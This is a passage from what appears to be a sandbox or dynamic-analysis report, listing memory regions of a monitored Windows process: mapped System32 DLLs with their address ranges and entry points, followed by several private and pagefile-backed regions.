filename = "\\Windows\\System32\\MMDevAPI.dll" (normalized: "c:\\windows\\system32\\mmdevapi.dll") Region: id = 692 start_va = 0x7ffa0cc80000 end_va = 0x7ffa0ce3cfff monitored = 0 entry_point = 0x7ffa0ccaaf90 region_type = mapped_file name = "windows.ui.immersive.dll" filename = "\\Windows\\System32\\Windows.UI.Immersive.dll" (normalized: "c:\\windows\\system32\\windows.ui.immersive.dll") Region: id = 693 start_va = 0x7ffa0ce40000 end_va = 0x7ffa0d1c1fff monitored = 0 entry_point = 0x7ffa0ce91220 region_type = mapped_file name = "iertutil.dll" filename = "\\Windows\\System32\\iertutil.dll" (normalized: "c:\\windows\\system32\\iertutil.dll") Region: id = 694 start_va = 0x7ffa0e210000 end_va = 0x7ffa0e2b8fff monitored = 0 entry_point = 0x7ffa0e239010 region_type = mapped_file name = "windows.ui.dll" filename = "\\Windows\\System32\\Windows.UI.dll" (normalized: "c:\\windows\\system32\\windows.ui.dll") Region: id = 695 start_va = 0x7ffa0e2c0000 end_va = 0x7ffa0e3cdfff monitored = 0 entry_point = 0x7ffa0e30eaa0 region_type = mapped_file name = "mrmcorer.dll" filename = "\\Windows\\System32\\MrmCoreR.dll" (normalized: "c:\\windows\\system32\\mrmcorer.dll") Region: id = 696 start_va = 0x7ffa0e3d0000 end_va = 0x7ffa0e439fff monitored = 0 entry_point = 0x7ffa0e3d9d60 region_type = mapped_file name = "wincorlib.dll" filename = "\\Windows\\System32\\wincorlib.dll" (normalized: "c:\\windows\\system32\\wincorlib.dll") Region: id = 697 start_va = 0x7ffa0e480000 end_va = 0x7ffa0e4f6fff monitored = 0 entry_point = 0x7ffa0e482af0 region_type = mapped_file name = "provsvc.dll" filename = "\\Windows\\System32\\provsvc.dll" (normalized: "c:\\windows\\system32\\provsvc.dll") Region: id = 698 start_va = 0x7ffa0e500000 end_va = 0x7ffa0e597fff monitored = 0 entry_point = 0x7ffa0e523980 region_type = mapped_file name = "duser.dll" filename = "\\Windows\\System32\\duser.dll" (normalized: "c:\\windows\\system32\\duser.dll") Region: id = 699 start_va = 0x7ffa0e5a0000 end_va = 0x7ffa0e63ffff monitored = 0 entry_point = 0x7ffa0e5c56b0 region_type = mapped_file name = "hgcpl.dll" filename = "\\Windows\\System32\\hgcpl.dll" (normalized: "c:\\windows\\system32\\hgcpl.dll") Region: id = 700 start_va = 0x7ffa0e640000 end_va = 0x7ffa0e6c1fff monitored = 0 entry_point = 0x7ffa0e644ef0 region_type = mapped_file name = "imapi2.dll" filename = "\\Windows\\System32\\imapi2.dll" (normalized: "c:\\windows\\system32\\imapi2.dll") Region: id = 701 start_va = 0x7ffa0e6d0000 end_va = 0x7ffa0e724fff monitored = 0 entry_point = 0x7ffa0e6d3fb0 region_type = mapped_file name = "policymanager.dll" filename = "\\Windows\\System32\\policymanager.dll" (normalized: "c:\\windows\\system32\\policymanager.dll") Region: id = 702 start_va = 0x7ffa0e7d0000 end_va = 0x7ffa0e849fff monitored = 0 entry_point = 0x7ffa0e7f7630 region_type = mapped_file name = "es.dll" filename = "\\Windows\\System32\\es.dll" (normalized: "c:\\windows\\system32\\es.dll") Region: id = 703 start_va = 0x7ffa0e880000 end_va = 0x7ffa0e895fff monitored = 0 entry_point = 0x7ffa0e881b60 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 704 start_va = 0x7ffa0e8a0000 end_va = 0x7ffa0e903fff monitored = 0 entry_point = 0x7ffa0e8b5ae0 region_type = mapped_file name = "wevtapi.dll" filename = "\\Windows\\System32\\wevtapi.dll" (normalized: "c:\\windows\\system32\\wevtapi.dll") Region: id = 705 start_va = 0x7ffa0ead0000 end_va = 0x7ffa0eb10fff monitored = 0 entry_point = 0x7ffa0ead4840 region_type = mapped_file name = "usermgrproxy.dll" filename = "\\Windows\\System32\\UserMgrProxy.dll" (normalized: "c:\\windows\\system32\\usermgrproxy.dll") Region: id = 706 start_va = 0x7ffa0eb30000 end_va = 0x7ffa0ec65fff monitored = 0 entry_point = 0x7ffa0eb5f350 region_type = mapped_file name = "wintypes.dll" filename = "\\Windows\\System32\\WinTypes.dll" (normalized: "c:\\windows\\system32\\wintypes.dll") Region: id = 707 start_va = 0x7ffa0ed60000 end_va = 0x7ffa0ee27fff monitored = 0 entry_point = 0x7ffa0eda13f0 region_type = mapped_file name = "winhttp.dll" filename = "\\Windows\\System32\\winhttp.dll" (normalized: "c:\\windows\\system32\\winhttp.dll") Region: id = 708 start_va = 0x7ffa0ee30000 end_va = 0x7ffa0ee90fff monitored = 0 entry_point = 0x7ffa0ee34b50 region_type = mapped_file name = "wlanapi.dll" filename = "\\Windows\\System32\\wlanapi.dll" (normalized: "c:\\windows\\system32\\wlanapi.dll") Region: id = 709 start_va = 0x7ffa0f190000 end_va = 0x7ffa0f221fff monitored = 0 entry_point = 0x7ffa0f1da780 region_type = mapped_file name = "msvcp110_win.dll" filename = "\\Windows\\System32\\msvcp110_win.dll" (normalized: "c:\\windows\\system32\\msvcp110_win.dll") Region: id = 710 start_va = 0x7ffa0f320000 end_va = 0x7ffa0f333fff monitored = 0 entry_point = 0x7ffa0f3250c0 region_type = mapped_file name = "hcproviders.dll" filename = "\\Windows\\System32\\hcproviders.dll" (normalized: "c:\\windows\\system32\\hcproviders.dll") Region: id = 711 start_va = 0x7ffa0f340000 end_va = 0x7ffa0f36dfff monitored = 0 entry_point = 0x7ffa0f346580 region_type = mapped_file name = "wscinterop.dll" filename = "\\Windows\\System32\\wscinterop.dll" (normalized: "c:\\windows\\system32\\wscinterop.dll") Region: id = 712 start_va = 0x7ffa0f3e0000 end_va = 0x7ffa0f3f0fff monitored = 0 entry_point = 0x7ffa0f3e3320 region_type = mapped_file name = "wmiclnt.dll" filename = "\\Windows\\System32\\wmiclnt.dll" (normalized: "c:\\windows\\system32\\wmiclnt.dll") Region: id = 713 start_va = 0x7ffa0f470000 end_va = 0x7ffa0f9b4fff monitored = 0 entry_point = 0x7ffa0f60a450 region_type = mapped_file name = "d2d1.dll" filename = "\\Windows\\System32\\d2d1.dll" (normalized: "c:\\windows\\system32\\d2d1.dll") Region: id = 714 start_va = 0x7ffa0f9c0000 end_va = 0x7ffa0fc2efff monitored = 0 entry_point = 0x7ffa0fa722b0 region_type = mapped_file name = "d3d10warp.dll" filename = "\\Windows\\System32\\d3d10warp.dll" (normalized: "c:\\windows\\system32\\d3d10warp.dll") Region: id = 715 start_va = 0x7ffa0ff30000 end_va = 0x7ffa0ff47fff monitored = 0 entry_point = 0x7ffa0ff35910 region_type = mapped_file name = "nlaapi.dll" filename = "\\Windows\\System32\\nlaapi.dll" (normalized: "c:\\windows\\system32\\nlaapi.dll") Region: id = 716 start_va = 0x7ffa100a0000 end_va = 0x7ffa100eafff monitored = 0 entry_point = 0x7ffa100b72b0 region_type = mapped_file name = "uianimation.dll" filename = "\\Windows\\System32\\UIAnimation.dll" (normalized: "c:\\windows\\system32\\uianimation.dll") Region: id = 717 start_va = 0x7ffa100f0000 end_va = 0x7ffa102a0fff monitored = 0 entry_point = 0x7ffa101861a0 region_type = mapped_file name = "windowscodecs.dll" filename = "\\Windows\\System32\\WindowsCodecs.dll" (normalized: "c:\\windows\\system32\\windowscodecs.dll") Region: id = 718 start_va = 0x7ffa102b0000 end_va = 0x7ffa10351fff monitored = 0 entry_point = 0x7ffa102d0a40 region_type = mapped_file name = "dxgi.dll" filename = "\\Windows\\System32\\dxgi.dll" (normalized: "c:\\windows\\system32\\dxgi.dll") Region: id = 719 start_va = 0x7ffa10360000 end_va = 0x7ffa10607fff monitored = 0 entry_point = 0x7ffa103f3250 region_type = mapped_file name = "d3d11.dll" filename = "\\Windows\\System32\\d3d11.dll" (normalized: "c:\\windows\\system32\\d3d11.dll") Region: id = 720 start_va = 0x7ffa10610000 end_va = 0x7ffa10631fff monitored = 0 entry_point = 0x7ffa10611a40 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\System32\\dwmapi.dll" (normalized: "c:\\windows\\system32\\dwmapi.dll") Region: id = 721 start_va = 0x7ffa10660000 end_va = 0x7ffa1071dfff monitored = 0 entry_point = 0x7ffa106a2d40 region_type = mapped_file name = "coremessaging.dll" filename = "\\Windows\\System32\\CoreMessaging.dll" (normalized: "c:\\windows\\system32\\coremessaging.dll") Region: id = 722 start_va = 0x7ffa10720000 end_va = 0x7ffa10802fff monitored = 0 entry_point = 0x7ffa10757da0 region_type = mapped_file name = "dcomp.dll" filename = "\\Windows\\System32\\dcomp.dll" (normalized: "c:\\windows\\system32\\dcomp.dll") Region: id = 723 start_va = 0x7ffa10b20000 end_va = 0x7ffa10b7cfff monitored = 0 entry_point = 0x7ffa10b26c90 region_type = mapped_file name = "srchadmin.dll" filename = "\\Windows\\System32\\srchadmin.dll" (normalized: "c:\\windows\\system32\\srchadmin.dll") Region: id = 724 start_va = 0x7ffa10b80000 end_va = 0x7ffa10bd0fff monitored = 0 entry_point = 0x7ffa10b825e0 region_type = mapped_file name = "cscobj.dll" filename = "\\Windows\\System32\\cscobj.dll" (normalized: "c:\\windows\\system32\\cscobj.dll") Region: id = 725 start_va = 0x7ffa10be0000 end_va = 0x7ffa10c1ffff monitored = 0 entry_point = 0x7ffa10bf3750 region_type = mapped_file name = "settingmonitor.dll" filename = "\\Windows\\System32\\SettingMonitor.dll" (normalized: "c:\\windows\\system32\\settingmonitor.dll") Region: id = 726 start_va = 0x7ffa10c80000 end_va = 0x7ffa10cb2fff monitored = 0 entry_point = 0x7ffa10c83800 region_type = mapped_file name = "portabledevicetypes.dll" filename = "\\Windows\\System32\\PortableDeviceTypes.dll" (normalized: "c:\\windows\\system32\\portabledevicetypes.dll") Region: id = 727 start_va = 0x7ffa10cc0000 end_va = 0x7ffa11152fff monitored = 0 entry_point = 0x7ffa10ccf760 region_type = mapped_file name = "actxprxy.dll" filename = "\\Windows\\System32\\actxprxy.dll" (normalized: "c:\\windows\\system32\\actxprxy.dll") Region: id = 728 start_va = 0x7ffa11160000 end_va = 0x7ffa111c6fff monitored = 0 entry_point = 0x7ffa1117e710 region_type = mapped_file name = "bcp47langs.dll" filename = "\\Windows\\System32\\BCP47Langs.dll" (normalized: "c:\\windows\\system32\\bcp47langs.dll") Region: id = 729 start_va = 0x7ffa111d0000 end_va = 0x7ffa1121efff monitored = 0 entry_point = 0x7ffa111d7ab0 region_type = mapped_file name = "inputswitch.dll" filename = "\\Windows\\System32\\InputSwitch.dll" (normalized: "c:\\windows\\system32\\inputswitch.dll") Region: id = 730 start_va = 0x7ffa11220000 end_va = 0x7ffa113a5fff monitored = 0 entry_point = 0x7ffa1126d700 region_type = mapped_file name = "propsys.dll" filename = "\\Windows\\System32\\propsys.dll" (normalized: "c:\\windows\\system32\\propsys.dll") Region: id = 731 start_va = 0x7ffa113b0000 end_va = 0x7ffa113cbfff monitored = 0 entry_point = 0x7ffa113b37a0 region_type = mapped_file name = "samlib.dll" filename = "\\Windows\\System32\\samlib.dll" (normalized: "c:\\windows\\system32\\samlib.dll") Region: id = 732 start_va = 0x7ffa11410000 end_va = 0x7ffa11422fff monitored = 0 entry_point = 0x7ffa11412760 region_type = mapped_file name = "wtsapi32.dll" filename = "\\Windows\\System32\\wtsapi32.dll" (normalized: "c:\\windows\\system32\\wtsapi32.dll") Region: id = 733 start_va = 0x7ffa11430000 end_va = 0x7ffa11454fff monitored = 0 entry_point = 0x7ffa11432300 region_type = mapped_file name = "sppc.dll" filename = "\\Windows\\System32\\sppc.dll" (normalized: "c:\\windows\\system32\\sppc.dll") Region: id = 734 start_va = 0x7ffa11490000 end_va = 0x7ffa114b4fff monitored = 0 entry_point = 0x7ffa114a5220 region_type = mapped_file name = "slc.dll" filename = "\\Windows\\System32\\slc.dll" (normalized: "c:\\windows\\system32\\slc.dll") Region: id = 735 start_va = 0x7ffa114c0000 end_va = 0x7ffa114c9fff monitored = 0 entry_point = 0x7ffa114c1350 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 736 start_va = 0x7ffa114d0000 end_va = 0x7ffa114d9fff monitored = 0 entry_point = 0x7ffa114d2e50 region_type = mapped_file name = "msiltcfg.dll" filename = "\\Windows\\System32\\msiltcfg.dll" (normalized: "c:\\windows\\system32\\msiltcfg.dll") Region: id = 737 start_va = 0x7ffa114e0000 end_va = 0x7ffa114f4fff monitored = 0 entry_point = 0x7ffa114e2850 region_type = mapped_file name = "wpdshserviceobj.dll" filename = "\\Windows\\System32\\WPDShServiceObj.dll" (normalized: "c:\\windows\\system32\\wpdshserviceobj.dll") Region: id = 738 start_va = 0x7ffa11500000 end_va = 0x7ffa1153bfff monitored = 0 entry_point = 0x7ffa115025e0 region_type = mapped_file name = "bthprops.cpl" filename = "\\Windows\\System32\\bthprops.cpl" (normalized: "c:\\windows\\system32\\bthprops.cpl") Region: id = 739 start_va = 0x7ffa11580000 end_va = 0x7ffa115f8fff monitored = 0 entry_point = 0x7ffa1159fb90 region_type = mapped_file name = "apphelp.dll" filename = "\\Windows\\System32\\apphelp.dll" (normalized: "c:\\windows\\system32\\apphelp.dll") Region: id = 740 start_va = 0x7ffa11710000 end_va = 0x7ffa117a5fff monitored = 0 entry_point = 0x7ffa11735570 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 741 start_va = 0x7ffa117d0000 end_va = 0x7ffa117f6fff monitored = 0 entry_point = 0x7ffa117d7940 region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\System32\\devobj.dll" (normalized: "c:\\windows\\system32\\devobj.dll") Region: id = 742 start_va = 0x7ffa118b0000 end_va = 0x7ffa119affff monitored = 0 entry_point = 0x7ffa118f0f80 region_type = mapped_file name = "twinapi.appcore.dll" filename = "\\Windows\\System32\\twinapi.appcore.dll" (normalized: "c:\\windows\\system32\\twinapi.appcore.dll") Region: id = 743 start_va = 0x7ffa11b50000 end_va = 0x7ffa11b79fff monitored = 0 entry_point = 0x7ffa11b58b90 region_type = mapped_file name = "rmclient.dll" filename = "\\Windows\\System32\\rmclient.dll" (normalized: "c:\\windows\\system32\\rmclient.dll") Region: id = 744 start_va = 0x7ffa11f30000 end_va = 0x7ffa12023fff monitored = 0 entry_point = 0x7ffa11f3a960 region_type = mapped_file name = "ucrtbase.dll" filename = "\\Windows\\System32\\ucrtbase.dll" (normalized: "c:\\windows\\system32\\ucrtbase.dll") Region: id = 745 start_va = 0x7ffa121a0000 end_va = 0x7ffa121abfff monitored = 0 entry_point = 0x7ffa121a27e0 region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 746 start_va = 0x7ffa12280000 end_va = 0x7ffa122b0fff monitored = 0 entry_point = 0x7ffa12287d10 region_type = mapped_file name = "ntmarta.dll" filename = "\\Windows\\System32\\ntmarta.dll" (normalized: "c:\\windows\\system32\\ntmarta.dll") Region: id = 747 start_va = 0x7ffa123e0000 end_va = 0x7ffa123e9fff monitored = 0 entry_point = 0x7ffa123e1830 region_type = mapped_file name = "dpapi.dll" filename = "\\Windows\\System32\\dpapi.dll" (normalized: "c:\\windows\\system32\\dpapi.dll") Region: id = 748 start_va = 0x7ffa124f0000 end_va = 0x7ffa1250efff monitored = 0 entry_point = 0x7ffa124f5d30 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 749 start_va = 0x7ffa12710000 end_va = 0x7ffa12726fff monitored = 0 entry_point = 0x7ffa127179d0 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 750 start_va = 0x7ffa12a10000 end_va = 0x7ffa12a3cfff monitored = 0 entry_point = 0x7ffa12a29d40 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 751 start_va = 0x7ffa12ba0000 end_va = 0x7ffa12bf5fff monitored = 0 entry_point = 0x7ffa12bb0bf0 region_type = mapped_file name = "winsta.dll" filename = "\\Windows\\System32\\winsta.dll" (normalized: "c:\\windows\\system32\\winsta.dll") Region: id = 752 start_va = 0x7ffa12c20000 end_va = 0x7ffa12c48fff monitored = 0 entry_point = 0x7ffa12c34530 region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\System32\\bcrypt.dll" (normalized: "c:\\windows\\system32\\bcrypt.dll") Region: id = 753 start_va = 0x7ffa12c50000 end_va = 0x7ffa12ce8fff monitored = 0 entry_point = 0x7ffa12c7f4e0 region_type = mapped_file name = "sxs.dll" filename = "\\Windows\\System32\\sxs.dll" (normalized: "c:\\windows\\system32\\sxs.dll") Region: id = 754 start_va = 0x7ffa12d90000 end_va = 0x7ffa12da3fff monitored = 0 entry_point = 0x7ffa12d952e0 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 755 start_va = 0x7ffa12db0000 end_va = 0x7ffa12dbffff monitored = 0 entry_point = 0x7ffa12db56e0 region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\System32\\msasn1.dll" (normalized: "c:\\windows\\system32\\msasn1.dll") Region: id = 756 start_va = 0x7ffa12dc0000 end_va = 0x7ffa12e0afff monitored = 0 entry_point = 0x7ffa12dc35f0 region_type = mapped_file name = "powrprof.dll" filename = "\\Windows\\System32\\powrprof.dll" (normalized: "c:\\windows\\system32\\powrprof.dll") Region: id = 757 start_va = 0x7ffa12e10000 end_va = 0x7ffa12e1efff monitored = 0 entry_point = 0x7ffa12e13210 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\System32\\kernel.appcore.dll" (normalized: "c:\\windows\\system32\\kernel.appcore.dll") Region: id = 758 start_va = 0x7ffa12e20000 end_va = 0x7ffa12e74fff monitored = 0 entry_point = 0x7ffa12e37970 region_type = mapped_file name = "wintrust.dll" filename = "\\Windows\\System32\\wintrust.dll" (normalized: "c:\\windows\\system32\\wintrust.dll") Region: id = 759 start_va = 0x7ffa12e80000 end_va = 0x7ffa12f34fff monitored = 0 entry_point = 0x7ffa12ec22e0 region_type = mapped_file name = "shcore.dll" filename = "\\Windows\\System32\\SHCore.dll" (normalized: "c:\\windows\\system32\\shcore.dll") Region: id = 760 start_va = 0x7ffa12f40000 end_va = 0x7ffa13106fff monitored = 0 entry_point = 0x7ffa12f9db80 region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\System32\\crypt32.dll" (normalized: "c:\\windows\\system32\\crypt32.dll") Region: id = 761 start_va = 0x7ffa13130000 end_va = 0x7ffa13317fff monitored = 0 entry_point = 0x7ffa1315ba70 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 762 start_va = 0x7ffa13320000 end_va = 0x7ffa13389fff monitored = 0 entry_point = 0x7ffa13356d50 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll") Region: id = 763 start_va = 0x7ffa13390000 end_va = 0x7ffa133d2fff monitored = 0 entry_point = 0x7ffa133a4b50 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll") Region: id = 764 start_va = 0x7ffa13520000 end_va = 0x7ffa13b63fff monitored = 0 entry_point = 0x7ffa136e64b0 region_type = mapped_file name = "windows.storage.dll" filename = "\\Windows\\System32\\windows.storage.dll" (normalized: "c:\\windows\\system32\\windows.storage.dll") Region: id = 765 start_va = 0x7ffa13b70000 end_va = 0x7ffa13cb2fff monitored = 0 entry_point = 0x7ffa13b98210 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 766 start_va = 0x7ffa13cc0000 end_va = 0x7ffa13d5cfff monitored = 0 entry_point = 0x7ffa13cc78a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 767 start_va = 0x7ffa13d60000 end_va = 0x7ffa13d67fff monitored = 0 entry_point = 0x7ffa13d61ea0 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll") Region: id = 768 start_va = 0x7ffa13d80000 end_va = 0x7ffa13ed5fff monitored = 0 entry_point = 0x7ffa13d8a8d0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 769 start_va = 0x7ffa13ee0000 end_va = 0x7ffa14065fff monitored = 0 entry_point = 0x7ffa13f2ffc0 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 770 start_va = 0x7ffa14070000 end_va = 0x7ffa140cafff monitored = 0 entry_point = 0x7ffa140838b0 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 771 start_va = 0x7ffa141e0000 end_va = 0x7ffa1421afff monitored = 0 entry_point = 0x7ffa141e12f0 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 772 start_va = 0x7ffa14220000 end_va = 0x7ffa142c6fff monitored = 0 entry_point = 0x7ffa1422b4d0 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 773 start_va = 0x7ffa14340000 end_va = 0x7ffa145bcfff monitored = 0 entry_point = 0x7ffa14414970 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll") Region: id = 774 start_va = 0x7ffa145c0000 end_va = 0x7ffa146dbfff monitored = 0 entry_point = 0x7ffa146002b0 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 775 start_va = 0x7ffa146e0000 end_va = 0x7ffa1474afff monitored = 0 entry_point = 0x7ffa146f90c0 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 776 start_va = 0x7ffa14750000 end_va = 0x7ffa147befff monitored = 0 entry_point = 0x7ffa14775f70 region_type = mapped_file name = "coml2.dll" filename = "\\Windows\\System32\\coml2.dll" (normalized: "c:\\windows\\system32\\coml2.dll") Region: id = 777 start_va = 0x7ffa147c0000 end_va = 0x7ffa14880fff monitored = 0 entry_point = 0x7ffa147e0da0 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 778 start_va = 0x7ffa14a40000 end_va = 0x7ffa14b99fff monitored = 0 entry_point = 0x7ffa14a838e0 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 779 start_va = 0x7ffa14ba0000 end_va = 0x7ffa14bf1fff monitored = 0 entry_point = 0x7ffa14baf530 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 780 start_va = 0x7ffa14c00000 end_va = 0x7ffa15028fff monitored = 0 entry_point = 0x7ffa14c28740 region_type = mapped_file name = "setupapi.dll" filename = "\\Windows\\System32\\setupapi.dll" (normalized: "c:\\windows\\system32\\setupapi.dll") Region: id = 781 start_va = 0x7ffa15090000 end_va = 0x7ffa15136fff monitored = 0 entry_point = 0x7ffa150a58d0 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 782 start_va = 0x7ffa15160000 end_va = 0x7ffa1520cfff monitored = 0 entry_point = 0x7ffa151781a0 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 783 start_va = 0x7ffa15210000 end_va = 0x7ffa1676efff monitored = 0 entry_point = 0x7ffa153711f0 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\System32\\shell32.dll" (normalized: "c:\\windows\\system32\\shell32.dll") Region: id = 784 start_va = 0x7ffa16770000 end_va = 0x7ffa16930fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 786 start_va = 0x1e80000 end_va = 0x1e95fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e80000" filename = "" Region: id = 787 start_va = 0x101f0000 end_va = 0x1026ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000101f0000" filename = "" Region: id = 788 start_va = 0x1ea0000 end_va = 0x1ea0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ea0000" filename = "" Region: id = 789 start_va = 0x95f0000 end_va = 0x97bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000095f0000" filename = "" Region: id = 790 start_va = 0x1ea0000 end_va = 0x1ea0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ea0000" filename = "" Region: id = 791 start_va = 0x7ffa11800000 end_va = 0x7ffa118a9fff monitored = 0 entry_point = 0x7ffa11827910 region_type = mapped_file name = "dnsapi.dll" filename = "\\Windows\\System32\\dnsapi.dll" (normalized: "c:\\windows\\system32\\dnsapi.dll") Region: id = 792 start_va = 0x1ea0000 end_va = 0x1eaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001ea0000" filename = "" Region: id = 793 start_va = 0x10270000 end_va = 0x102effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000010270000" filename = "" Region: id = 794 start_va = 0x102f0000 end_va = 0x1036ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000102f0000" filename = "" Region: id = 795 start_va = 0x2460000 end_va = 0x247bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002460000" filename = "" Region: id = 796 start_va = 0x1ea0000 end_va = 0x1eaefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ea0000" filename = "" Region: id = 797 start_va = 0x1ea0000 end_va = 0x1eaefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ea0000" filename = "" Region: id = 798 start_va = 0x1ea0000 end_va = 0x1eaefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ea0000" filename = "" Region: id = 799 start_va = 0x1ea0000 end_va = 0x1eaefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ea0000" filename = "" Region: id = 800 start_va = 0x1ea0000 end_va = 0x1eaefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ea0000" filename = "" Region: id = 801 start_va = 0x1ea0000 end_va = 0x1eaefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ea0000" filename = "" Region: id = 802 start_va = 0x1ea0000 end_va = 0x1eaefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ea0000" filename = "" Region: id = 803 start_va = 0x1ea0000 end_va = 0x1eaefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ea0000" filename = "" Region: id = 804 start_va = 0x1ea0000 end_va = 0x1eaefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ea0000" filename = "" Region: id = 805 start_va = 0x1ea0000 end_va = 0x1eaefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ea0000" filename = "" Region: id = 806 start_va = 0x1ea0000 end_va = 0x1eaefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ea0000" filename = "" Region: id = 807 start_va = 0x1ea0000 end_va = 0x1eaefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ea0000" filename = "" Region: id = 808 start_va = 0x1ea0000 end_va = 0x1eaefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ea0000" filename = "" Region: id = 809 start_va = 0x1ea0000 end_va = 0x1eaefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ea0000" filename = "" Region: id = 810 start_va = 0x1ea0000 end_va = 0x1eaefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ea0000" filename = "" Region: id = 811 start_va = 0x1ea0000 end_va = 0x1eaefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ea0000" filename = "" Region: id = 812 start_va = 0x1ea0000 end_va = 0x1eaefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ea0000" filename = "" Region: id = 813 start_va = 0x1ea0000 end_va = 0x1eaefff monitored = 1 entry_point = 0x0 